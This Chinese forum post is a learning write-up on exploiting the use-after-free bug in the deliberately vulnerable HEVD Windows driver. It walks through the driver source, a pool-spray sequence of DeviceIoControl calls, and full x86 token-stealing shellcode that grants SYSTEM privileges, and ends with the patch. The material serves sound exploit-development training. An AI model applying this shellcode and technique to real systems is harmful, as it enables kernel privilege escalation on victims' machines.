首页
论坛
课程
招聘
[原创]内核漏洞学习[3]-HEVD-UAF
2021-10-31 18:38 6013

[原创]内核漏洞学习[3]-HEVD-UAF

2021-10-31 18:38
6013

HEVD-UseAfterFreeNonPagedPool

一: 概述

HEVD:漏洞靶场,包含各种Windows内核漏洞的驱动程序项目,在Github上就可以找到该项目,进行相关的学习

 

Releases · hacksysteam/HackSysExtremeVulnerableDriver · GitHub

环境准备:

Windows 7 X86 sp1 虚拟机

使用VirtualKD和windbg双机调试

HEVD 3.0+KmdManager+DubugView

二:前置知识:

(1)UAf(UseAfterFree)原理

简单的说,Use After Free 就是其字面所表达的意思,当一个内存块被释放之后再次被使用。但是其实这里有以下几种情况

  • 内存块被释放后,其对应的指针被设置为 NULL , 然后再次使用,自然程序会崩溃。
  • 内存块被释放后,其对应的指针没有被设置为 NULL ,然后在它下一次被使用之前,没有代码对这块内存块进行修改,那么程序很有可能可以正常运转
  • 内存块被释放后,其对应的指针没有被设置为 NULL,但是在它下一次使用之前,有代码对这块内存进行了修改,那么当程序再次使用这块内存时,就很有可能会出现奇怪的问题

而我们一般所指的 Use After Free 漏洞主要是后两种。此外,我们一般称被释放后没有被设置为 NULL 的内存指针为 dangling pointer。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
//linux
#include <stdio.h>
#include <cstdlib>
#include <string.h>
int main()
{
    char *p1;
    p1 = (char *) malloc(sizeof(char)*10);//申请内存空间
    memcpy(p1,"hello",10);
    printf("p1 addr:%x,%s\n",p1,p1);
    free(p1);//释放内存空间
    char *p2;
    p2 = (char *)malloc(sizeof(char)*10);//二次申请内存空间,与第一次大小相同,申请到了同一块内存
    memcpy(p1,"world",10);//对内存进行修改
    printf("p2 addr:%x,%s\n",p2,p1);//验证
    return 0;
}
//1.指针p1申请内存,打印其地址值
//2.然后释放p1
//3.指针p2申请同样大小的内存,打印p2的地址,p1指针指向的值

运行结果如下

1
2
p1 addr:222e010,hello
p1 addr:222e010,world

简单讲就是第一次申请的内存空间在释放过后没有进行内存回收,导致下次申请内存的时候再次使用该内存块,使得以前的内存指针可以访问修改过的内存。

(2)NonPagedPool(非换页内存)

用户空间是从“堆(Heap)”分配缓冲区的,内核中也有类似的机制,但是不叫“堆”而称为“池(Pool)”。不过二者有着重要的区别。
首先,用户空间的堆是属于进程的;而内核中的池则是全局的,属于整个系统。堆所占的是虚存空间,堆的扩充基本上体现在作为后备存储的页面倒换文件的扩充,而不必同时占用那么多的物理页面。而内核中的池则分成两种:一种是所占页面不可倒换的,每个页面不管其是否受到访问都真金白银地占着物理页面,要求这种池的大小可扩充显然不现实。另一种是所占页面可以倒换的,这种池的大小倒是可以扩充,因为(已分配而)暂时不受访问的(虚存)页面可以被倒换到作为后备的页面倒换文件中。

 

换页内存池和非换页内存池则是提供给系统内核模块和设备驱动程序使用的。在换页内存池中分配的内存有可能在物理内存紧缺的情况下被换出到外存中;而非换页内存池中分配的内存总是处于物理内存中。

 

 

windows内核中定义了许多不同的池

 

 

不过,实际使用的基本上就是NonPagedPool 和 PagedPool 两个。

 

MilnitializeNonPagedPool函数确定非换页内存池的起始和结束物理页面帧MiStartOfInitialPoolFrame 和 MiEndOfInitialPoolFrame,

 

一旦非换页内存池的结构已建立,接下来系统代码可以通过 MiAllocatePoolPages 和MiFreePoolPages 函数来申请和归还页面。

 

Windows充分利用这些页面自身的内存来构建起一组空闲页面链表,每个页面都是一个MMFREE_POOL_ENTRY结构,如图所示。MiInitializeNonPagedPool函数已经把数组MmNonPagedPoolFreeListHead初始化成只包含---个完整的空闲内存块,该内存块包括所有的非换页页面。

 

 

在非换页内存池的结构中,每个空闲链表中的每个节点包含1、2、3、4或4个以上的页面,在同一个节点上的页面其虚拟地址空间是连续的。第一个页面的List域构成了链表结构,Size域指明了这个节点所包含的页面数量,Owner域指向自己;后续页面的List和 Size域没有使用,但Owner域很重要,它指向第一个页面。

 

非换页内存池中的页面回收是通过MiFreePoolPages函数来完成的,

 

内核和设备驱动程序使用非分页池来存储系统无法处理页面错误时可能访问的数据,非页面缓冲池总是保持在物理内存中,非页面缓冲池虚拟内存被分配物理内存。存储在非分页池中的通用系统数据结构包括表示进程和线程的内核和对象,互斥对象,信号灯和事件等同步对象,表示为文件对象的文件引用以及I / O请求包(IRP)代表I / O操作

三:漏洞点分析

漏洞原理:UAf漏洞,当一个内存块被释放之后再次被使用,UseAfterFreeNonPagedPool.c中存在释放后没有被设置为 NULL 的内存指针: g_UseAfterFreeObjectNonPagedPool

 

(1)加载驱动

 

安装驱动程序,使用kmdManager 加载驱动程序,DebugView检测内核,可以看到加载驱动程序成功。

 

 

windbg:

 

1
2
3
lm  查看所有已加载模块
lm m H* 设置过滤,查找HEVD模块
lm m HEVD

 

(2)分析漏洞点

 

对UseAfterFreeNonPagedPool.c源码进行分析,漏洞函数FreeUaFObjectNonPagedPool,存在明显的UAF漏洞,不安全版本中内存指针g_UseAfterFreeObjectNonPagedPool,调用ExFreePoolWithTag函数对非换页内存池的页面回收后 ,没有把该指针g_UseAfterFreeObjectNonPagedPool=NULL,自然安全版本有g_UseAfterFreeObjectNonPagedPool=NULL这个过程

1
2
3
ExFreePoolWithTag((PVOID)g_UseAfterFreeObjectNonPagedPool, (ULONG)POOL_TAG);
g_UseAfterFreeObjectNonPagedPool = NULL;//安全版本。
ExFreePoolWithTag((PVOID)g_UseAfterFreeObjectNonPagedPool, (ULONG)POOL_TAG);//不安全版本

四:漏洞利用

1.利用思路:

如果申请内存的大小和UAF中内存的大小相同,那么可能申请到刚释放的内存池,构造好了(fake_uaf )中的数据,那么当释放uaf之后,通过fake_uaf 使得uaf 就会指向我们payload的位置,再次使用uaf->payload 从而达到提取的效果。电脑中有许许多多的空闲内存,如果只申请一次内存,不一定申请到释放的那块内存,所以要申请很多次跟释放的内存相同大小的内存。在内核中,换页内存池(PagedPool)和非换页内存池(NonPagedPool)则是提供给系统内核模块和设备驱动程序使用的。对于NonPagedPool,使用ExAllocatePoolWithTagExFreePoolWithTag函数 申请和释放。

 

(1)相关的IO控制码定义:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
IrpDeviceIoCtlHandler(
    _In_ PDEVICE_OBJECT DeviceObject,
    _In_ PIRP Irp
)
{
    ULONG IoControlCode = 0;
    PIO_STACK_LOCATION IrpSp = NULL;
    NTSTATUS Status = STATUS_NOT_SUPPORTED;
 
    UNREFERENCED_PARAMETER(DeviceObject);
    PAGED_CODE();
 
    IrpSp = IoGetCurrentIrpStackLocation(Irp);
    IoControlCode = IrpSp->Parameters.DeviceIoControl.IoControlCode;
 
    if (IrpSp)
    {
        switch (IoControlCode)
        {
       case HEVD_IOCTL_ALLOCATE_UAF_OBJECT_NON_PAGED_POOL:
            DbgPrint("****** HEVD_IOCTL_ALLOCATE_UAF_OBJECT_NON_PAGED_POOL ******\n");
            Status = AllocateUaFObjectNonPagedPoolIoctlHandler(Irp, IrpSp);
            DbgPrint("****** HEVD_IOCTL_ALLOCATE_UAF_OBJECT_NON_PAGED_POOL ******\n");
            break;
        case HEVD_IOCTL_USE_UAF_OBJECT_NON_PAGED_POOL:
            DbgPrint("****** HEVD_IOCTL_USE_UAF_OBJECT_NON_PAGED_POOL ******\n");
            Status = UseUaFObjectNonPagedPoolIoctlHandler(Irp, IrpSp);
            DbgPrint("****** HEVD_IOCTL_USE_UAF_OBJECT_NON_PAGED_POOL ******\n");
            break;
        case HEVD_IOCTL_FREE_UAF_OBJECT_NON_PAGED_POOL:
            DbgPrint("****** HEVD_IOCTL_FREE_UAF_OBJECT_NON_PAGED_POOL ******\n");
            Status = FreeUaFObjectNonPagedPoolIoctlHandler(Irp, IrpSp);
            DbgPrint("****** HEVD_IOCTL_FREE_UAF_OBJECT_NON_PAGED_POOL ******\n");
            break;
        case HEVD_IOCTL_ALLOCATE_FAKE_OBJECT_NON_PAGED_POOL:
            DbgPrint("****** HEVD_IOCTL_ALLOCATE_FAKE_OBJECT_NON_PAGED_POOL ******\n");
            Status = AllocateFakeObjectNonPagedPoolIoctlHandler(Irp, IrpSp);
            DbgPrint("****** HEVD_IOCTL_ALLOCATE_FAKE_OBJECT_NON_PAGED_POOL ******\n");
            break;
 
        }
    }

IO控制码对应的分发函数

HEVD_IOCTL_ALLOCATE_UAF_OBJECT_NON_PAGED_POOL------AllocateUaFObjectNonPagedPoolIoctlHandler--AllocateUaFObjectNonPagedPool

HEVD_IOCTL_ALLOCATE_FAKE_OBJECT_NON_PAGED_POOL---AllocateFakeObjectNonPagedPoolIoctlHandler--AllocateFakeObjectNonPagedPool()

HEVD_IOCTL_FREE_UAF_OBJECT_NON_PAGED_POOL---FreeUaFObjectNonPagedPoolIoctlHandler-- FreeUaFObjectNonPagedPool()

HEVD_IOCTL_USE_UAF_OBJECT_NON_PAGED_POOL---UseUaFObjectNonPagedPoolIoctlHandler--UseUaFObjectNonPagedPool

 

以下关键代码只放出关键部分,具体看源码,全部贴出来太多了

 

AllocateUaFObjectNonPagedPool函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
NTSTATUS
AllocateUaFObjectNonPagedPool(
    VOID
)
{
    __try
    {
        DbgPrint("[+] Allocating UaF Object\n");
     //ExAllocatePoolWithTag 函数申请非分页内存池,
        UseAfterFree = (PUSE_AFTER_FREE_NON_PAGED_POOL)ExAllocatePoolWithTag(
            NonPagedPool,
            sizeof(USE_AFTER_FREE_NON_PAGED_POOL),
            (ULONG)POOL_TAG
        );
 
 
       RtlFillMemory((PVOID)UseAfterFree->Buffer, sizeof(UseAfterFree->Buffer), 0x41);//用‘A’填充
        UseAfterFree->Buffer[sizeof(UseAfterFree->Buffer) - 1] = '\0'//添加一个空终止符
        UseAfterFree->Callback = &UaFObjectCallbackNonPagedPool;//设置一个回调指针,这里是利用点,我们要将自己的payload写到这里
        g_UseAfterFreeObjectNonPagedPool = UseAfterFree;
    __except (EXCEPTION_EXECUTE_HANDLER)
    {
 
    }
 
    return Status;
}

AllocateFakeObjectNonPagedPool函数:允许在非分页内存池上分配一个假的的对象;该函数允许我们把假的对象分配到原本的已经释放的UAF对象所在的位置上。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
NTSTATUS
AllocateFakeObjectNonPagedPool(
    _In_ PFAKE_OBJECT_NON_PAGED_POOL UserFakeObject
)
{
 
    __try
    {
        DbgPrint("[+] Creating Fake Object\n");
 
       // ExAllocatePoolWithTag分配内存
        KernelFakeObject = (PFAKE_OBJECT_NON_PAGED_POOL)ExAllocatePoolWithTag(
            NonPagedPool,
            sizeof(FAKE_OBJECT_NON_PAGED_POOL),
            (ULONG)POOL_TAG
        );
        ProbeForRead(
            (PVOID)UserFakeObject,
            sizeof(FAKE_OBJECT_NON_PAGED_POOL),
            (ULONG)__alignof(UCHAR)
        );//ProbeForRead常规检查用户模式缓冲区是否实际上位于地址空间的用户部分,并且正确对齐
 
        RtlCopyMemory(
            (PVOID)KernelFakeObject,
            (PVOID)UserFakeObject,
            sizeof(FAKE_OBJECT_NON_PAGED_POOL)
        );
 
 
        KernelFakeObject->Buffer[sizeof(KernelFakeObject->Buffer) - 1] = '\0';
 
        DbgPrint("[+] Fake Object: 0x%p\n", KernelFakeObject);
    }
    __except (EXCEPTION_EXECUTE_HANDLER)
    {
 
    }
 
    return Status;
}

FreeUaFObjectNonPagedPool

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
NTSTATUS
FreeUaFObjectNonPagedPool(
    VOID
)
{
    __try
    {
        if (g_UseAfterFreeObjectNonPagedPool)
        {
            DbgPrint("[+] Freeing UaF Object\n");
            DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
            DbgPrint("[+] Pool Chunk: 0x%p\n", g_UseAfterFreeObjectNonPagedPool);
            //ExFreePoolWithTag 释放,但是没有对释放的指针置空,造成悬挂指针,UAF漏洞。
            ExFreePoolWithTag((PVOID)g_UseAfterFreeObjectNonPagedPool, (ULONG)POOL_TAG);
            Status = STATUS_SUCCESS;
        }
    }
    __except (EXCEPTION_EXECUTE_HANDLER)
    {
    }
 
    return Status;
}

UseUaFObjectNonPagedPool:由于存在UAF漏洞,利用g_UseAfterFreeObjectNonPagedPool->Callback();执行payload。。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
NTSTATUS
UseUaFObjectNonPagedPool(
    VOID
)
{
 
    __try
    {
        if (g_UseAfterFreeObjectNonPagedPool)
        {
            DbgPrint("[+] Using UaF Object\n");
            DbgPrint("[+] g_UseAfterFreeObjectNonPagedPool: 0x%p\n", g_UseAfterFreeObjectNonPagedPool);
            DbgPrint("[+] g_UseAfterFreeObjectNonPagedPool->Callback: 0x%p\n", g_UseAfterFreeObjectNonPagedPool->Callback);
            DbgPrint("[+] Calling Callback\n");
 
            if (g_UseAfterFreeObjectNonPagedPool->Callback)
            {
                g_UseAfterFreeObjectNonPagedPool->Callback();
            }
 
            Status = STATUS_SUCCESS;
        }
    }
    __except (EXCEPTION_EXECUTE_HANDLER)
    {
    }
 
    return Status;
}

2.利用过程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// 1.调用AllocateUaFObjectNonPagedPool
 
DeviceIoControl(hDevice, HEVD_IOCTL_ALLOCATE_UAF_OBJECT_NON_PAGED_POOL, NULL, NULL, NULL, 0, &recvBuf, NULL);
 
// 2.调用 FreeUaFObjectNonPagedPool()函数释放对象
printf("Start to call FreeUaFObject()...\n");
DeviceIoControl(hDevice, HEVD_IOCTL_FREE_UAF_OBJECT_NON_PAGED_POOL, NULL, NULL, NULL, 0, &recvBuf, NULL);
 
printf("Start to write shellcode()...\n");
//申请假的chunk
PUSE_AFTER_FREE fake_UseAfterFree = (PUSE_AFTER_FREE)malloc(sizeof(FAKE_USE_AFTER_FREE));
//指向我们的payload
fake_UseAfterFree->countinter = ShellCode;
 
RtlFillMemory(fake_UseAfterFree->bufffer, sizeof(fake_UseAfterFree->bufffer), 0x41);
 
// 3.调用AllocateFakeObjectNonPagedPool函数,,,,池喷射,,成功后,会申请到跟g_UseAfterFreeObjectNonPagedPool指向一样的的内困空间,callback被改为我们的payload
 
for (int i = 0; i < 5000; i++)
{
    DeviceIoControl(hDevice, HEVD_IOCTL_ALLOCATE_FAKE_OBJECT_NON_PAGED_POOL, fake_UseAfterFree, 0x60, NULL, 0, &recvBuf, NULL);
}
 
//4.调用UseUaFObjectNonPagedPool,执行payload,此处的callback函数早已经被替换成我们的payload,所以再次调用为设置为NUll的内存指针g_UseAfterFreeObjectNonPagedPool后直接执行我们的payload代码
DeviceIoControl(hDevice, HEVD_IOCTL_USE_UAF_OBJECT_NON_PAGED_POOL, NULL, NULL, NULL, 0, &recvBuf, NULL);

payload功能:遍历进程,得到系统进程的token,把当前进程的token替换,达到提权目的。(跟前两篇一样的原理,替换token

 

相关内核结构体:

 

在内核模式下,fs:[0]指向KPCR结构体

1
2
3
4
5
6
7
8
9
10
11
12
_KPCR
+0x120 PrcbData         : _KPRCB
_KPRCB
+0x004 CurrentThread    : Ptr32 _KTHREAD,_KTHREAD指针,这个指针指向_KTHREAD结构体
_KTHREAD
+0x040 ApcState         : _KAPC_STATE
_KAPC_STATE
+0x010 Process          : Ptr32 _KPROCESS,_KPROCESS指针,这个指针指向EPROCESS结构体
_EPROCESS
   +0x0b4 UniqueProcessId  : Ptr32 Void,当前进程ID,系统进程ID=0x04
   +0x0b8 ActiveProcessLinks : _LIST_ENTRY,双向链表,指向下一个进程的ActiveProcessLinks结构体处,通过这个链表我们可以遍历所有进程,以寻找我们需要的进程
   +0x0f8 Token            : _EX_FAST_REF,描述了该进程的安全上下文,同时包含了进程账户相关的身份以及权限

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
__asm {
       pushad                               ; 保存寄存器
 
 
       xor eax, eax                         ;eax置0
       mov eax, fs:[eax + KTHREAD_OFFSET]   ; 获得当前线程的_KTHREAD结构,KTHREAD_OFFSET=0x124
                                            ; FS:[0x124] 是 _KTHREAD结构
 
       mov eax, [eax + EPROCESS_OFFSET]     ;  找到_EPROCESS结构, nt!_KTHREAD.ApcState.Process,EPROCESS_OFFSET 0x50
 
 
       mov ecx, eax                         ; ecx ,当前进程Eprocess结构体
 
       mov edx, SYSTEM_PID                  ; WIN 7 SP1 SYSTEM process PID = 0x4
 
       SearchSystemPID:
           mov eax, [eax + FLINK_OFFSET]    ; Get nt!_EPROCESS.ActiveProcessLinks.Flink,FLINK_OFFSET=0xb8
           sub eax, FLINK_OFFSET
           cmp [eax + PID_OFFSET], edx      ; Get nt!_EPROCESS.UniqueProcessId,PID_OFFSET=0xb4
           jne SearchSystemPID              ;遍历链表根据PID判断是否为SYSTEM_PID(0x4)
       //替换token
       mov edx, [eax + TOKEN_OFFSET]        ; 获得系统进程token  。TOKEN_OFFSET=0xf8
       mov [ecx + TOKEN_OFFSET], edx        ; 系统进程token替换当前进程token
 
       ; End of Token Stealing Stub
 
       popad                                ; Restore registers state
 
       ; Kernel Recovery Stub
       xor eax, eax                         ; Set NTSTATUS SUCCEESS
       add esp, 12                          ; Fix the stack
       pop ebp                              ; Restore saved EBP
       ret 8                                ; Return cleanly
   }

提权成功:

 

五:补丁分析

g_UseAfterFreeObjectNonPagedPool = NULL,free之后,将内存指针设置为NULL。

六:参考:

《Windows内核原理与实现》

 

《Windows内核情景分析》

 

https://www.fuzzysecurity.com/tutorials/expDev/19.html

 

https://bbs.pediy.com/thread-252310.htm

 

https://bbs.pediy.com/thread-247019.htm

 

https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/use-after-free/#_4


【公告】看雪团队招聘安全工程师,将兴趣和工作融合在一起!看雪20年安全圈的口碑,助你快速成长!

最后于 2021-10-31 21:36 被pyikaaaa编辑 ,原因:
收藏
点赞1
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回